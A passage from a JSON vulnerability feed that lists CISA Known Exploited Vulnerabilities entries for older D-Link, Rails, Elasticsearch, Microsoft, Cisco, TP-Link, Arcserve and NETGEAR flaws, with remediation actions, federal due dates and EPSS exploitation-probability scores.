HTML.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"D-Link","product":"DSL-2760U","stacks":["D-Link","DSL-2760U"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.50833,"percentile":0.98916,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2013-5223&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2013-5223","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2013-5223 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2013-5223&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2013-5223, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2014-0130","cveId":"CVE-2014-0130","aliases":[],"kind":"vulnerability","title":"Ruby on Rails Directory Traversal Vulnerability","summary":"Directory traversal vulnerability in actionpack/lib/abstract_controller/base.rb in the implicit-render implementation in Ruby on Rails allows remote attackers to read arbitrary files via a crafted request.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Rails","product":"Ruby on Rails","stacks":["Ruby on Rails","Rails"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.53703,"percentile":0.98989,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2014-0130&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2014-0130","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2014-0130 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2014-0130&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2014-0130, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2014-3120","cveId":"CVE-2014-3120","aliases":[],"kind":"vulnerability","title":"Elasticsearch Remote Code Execution Vulnerability","summary":"Elasticsearch enables dynamic scripting, which allows remote attackers to execute arbitrary MVEL expressions and Java code.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Elastic","product":"Elasticsearch","stacks":["Elasticsearch","Elastic"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.88559,"percentile":0.99771,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2014-3120&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2014-3120","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2014-3120 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2014-3120&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2014-3120, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2014-6287","cveId":"CVE-2014-6287","aliases":[],"kind":"vulnerability","title":"Rejetto HTTP File Server (HFS) Remote Code Execution Vulnerability","summary":"The findMacroMarker function in parserLib.pas in Rejetto HTTP File Server (HFS or HttpFileServer) allows remote attackers to execute arbitrary programs.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Rejetto","product":"HTTP File Server (HFS)","stacks":["Rejetto","HTTP File Server (HFS)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99323,"percentile":0.99938,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2014-6287&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2014-6287","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2014-6287 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2014-6287&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2014-6287, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2014-6324","cveId":"CVE-2014-6324","aliases":[],"kind":"vulnerability","title":"Microsoft Kerberos Key Distribution Center (KDC) Privilege Escalation Vulnerability","summary":"The Kerberos Key Distribution Center (KDC) in Microsoft allows remote authenticated domain users to obtain domain administrator privileges.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Kerberos Key Distribution Center (KDC)","stacks":["Microsoft","Kerberos Key Distribution Center (KDC)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.87335,"percentile":0.99752,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2014-6324&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2014-6324","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2014-6324 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2014-6324&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2014-6324, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2014-6332","cveId":"CVE-2014-6332","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Object Linking & Embedding (OLE) Automation Array Remote Code Execution Vulnerability","summary":"OleAut32.dll in OLE in Microsoft Windows allows remote attackers to remotely execute code via a crafted web site.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.94918,"percentile":0.99859,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2014-6332&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2014-6332","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2014-6332 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2014-6332&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2014-6332, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-0666","cveId":"CVE-2015-0666","aliases":[],"kind":"vulnerability","title":"Cisco Prime Data Center Network Manager (DCNM) Directory Traversal Vulnerability","summary":"Directory traversal vulnerability in the fmserver servlet in Cisco Prime Data Center Network Manager (DCNM) allows remote attackers to read arbitrary files.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Prime Data Center Network Manager (DCNM)","stacks":["Cisco","Prime Data Center Network Manager (DCNM)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.40379,"percentile":0.98635,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-0666&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-0666","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-0666 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-0666&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-0666, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-1187","cveId":"CVE-2015-1187","aliases":[],"kind":"vulnerability","title":"D-Link and TRENDnet Multiple Devices Remote Code Execution Vulnerability","summary":"The ping tool in multiple D-Link and TRENDnet devices allow remote attackers to perform remote code execution.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"D-Link and TRENDnet","product":"Multiple Devices","stacks":["D-Link","D-Link and TRENDnet","Multiple Devices"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.82863,"percentile":0.99668,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-1187&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-1187","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-1187 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-1187&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-1187, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-1427","cveId":"CVE-2015-1427","aliases":[],"kind":"vulnerability","title":"Elasticsearch Groovy Scripting Engine Remote Code Execution Vulnerability","summary":"The Groovy scripting engine in Elasticsearch allows remote attackers to bypass the sandbox protection mechanism and execute arbitrary shell commands.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Elastic","product":"Elasticsearch","stacks":["Elasticsearch","Elastic"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99906,"percentile":0.99966,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-1427&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-1427","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-1427 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-1427&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-1427, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-3035","cveId":"CVE-2015-3035","aliases":[],"kind":"vulnerability","title":"TP-Link Multiple Archer Devices Directory Traversal Vulnerability","summary":"Directory traversal vulnerability in multiple TP-Link Archer devices allows remote attackers to read arbitrary files via a .. (dot dot) in the PATH_INFO to login/.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"TP-Link","product":"Multiple Archer Devices","stacks":["TP-Link","Multiple Archer Devices"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.83948,"percentile":0.9969,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-3035&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-3035","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-3035 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-3035&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-3035, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-4068","cveId":"CVE-2015-4068","aliases":[],"kind":"vulnerability","title":"Arcserve Unified Data Protection (UDP) Directory Traversal Vulnerability","summary":"Directory traversal vulnerability in Arcserve UDP allows remote attackers to obtain sensitive information or cause a denial of service.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Arcserve","product":"Unified Data Protection (UDP)","stacks":["Arcserve","Unified Data Protection (UDP)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.63643,"percentile":0.9921,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-4068&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-4068","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-4068 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-4068&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-4068, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-0752","cveId":"CVE-2016-0752","aliases":[],"kind":"vulnerability","title":"Ruby on Rails Directory Traversal Vulnerability","summary":"Directory traversal vulnerability in Action View in Ruby on Rails allows remote attackers to read arbitrary files.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Rails","product":"Ruby on Rails","stacks":["Ruby on Rails","Rails"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.95537,"percentile":0.99869,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-0752&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-0752","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-0752 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-0752&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-0752, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-10174","cveId":"CVE-2016-10174","aliases":[],"kind":"vulnerability","title":"NETGEAR WNR2000v5 Router Buffer Overflow Vulnerability","summary":"The NETGEAR WNR2000v5 router contains a buffer overflow which can be exploited to achieve remote code execution.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"NETGEAR","product":"WNR2000v5 Router","stacks":["Netgear","NETGEAR","WNR2000v5 Router"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.83328,"percentile":0.99677,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-10174&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-10174","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-10174 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-10174&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-10174, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-11021","cveId":"CVE-2016-11021","aliases":[],"kind":"vulnerability","title":"D-Link DCS-930L Devices OS Command Injection Vulnerability","summary":"setSystemCommand on D-Link DCS-930L devices allows a remote attacker to execute code via an OS command.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"D-Link","product":"DCS-930L Devices","stacks":["D-Link","DCS-930L Devices"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.69582,"percentile":0.9936,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-11021&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-11021","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-11021 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-11021&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-11021, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-1555","cveId":"CVE-2016-1555","aliases":[],"kind":"vulnerability","title":"NETGEAR Multiple WAP Devices Command Injection Vulnerability","summary":"Multiple NETGEAR Wireless Access Point devices allows unauthenticated web pages to pass form input directly to the command-line interface. Exploitation allows for arbitrary code execution.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"NETGEAR","product":"Wireless Access Point (WAP) Devices","stacks":["Netgear","NETGEAR","Wireless Access Point (WAP) Devices"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98288,"percentile":0.99916,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-1555&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-1555","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-1555 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS 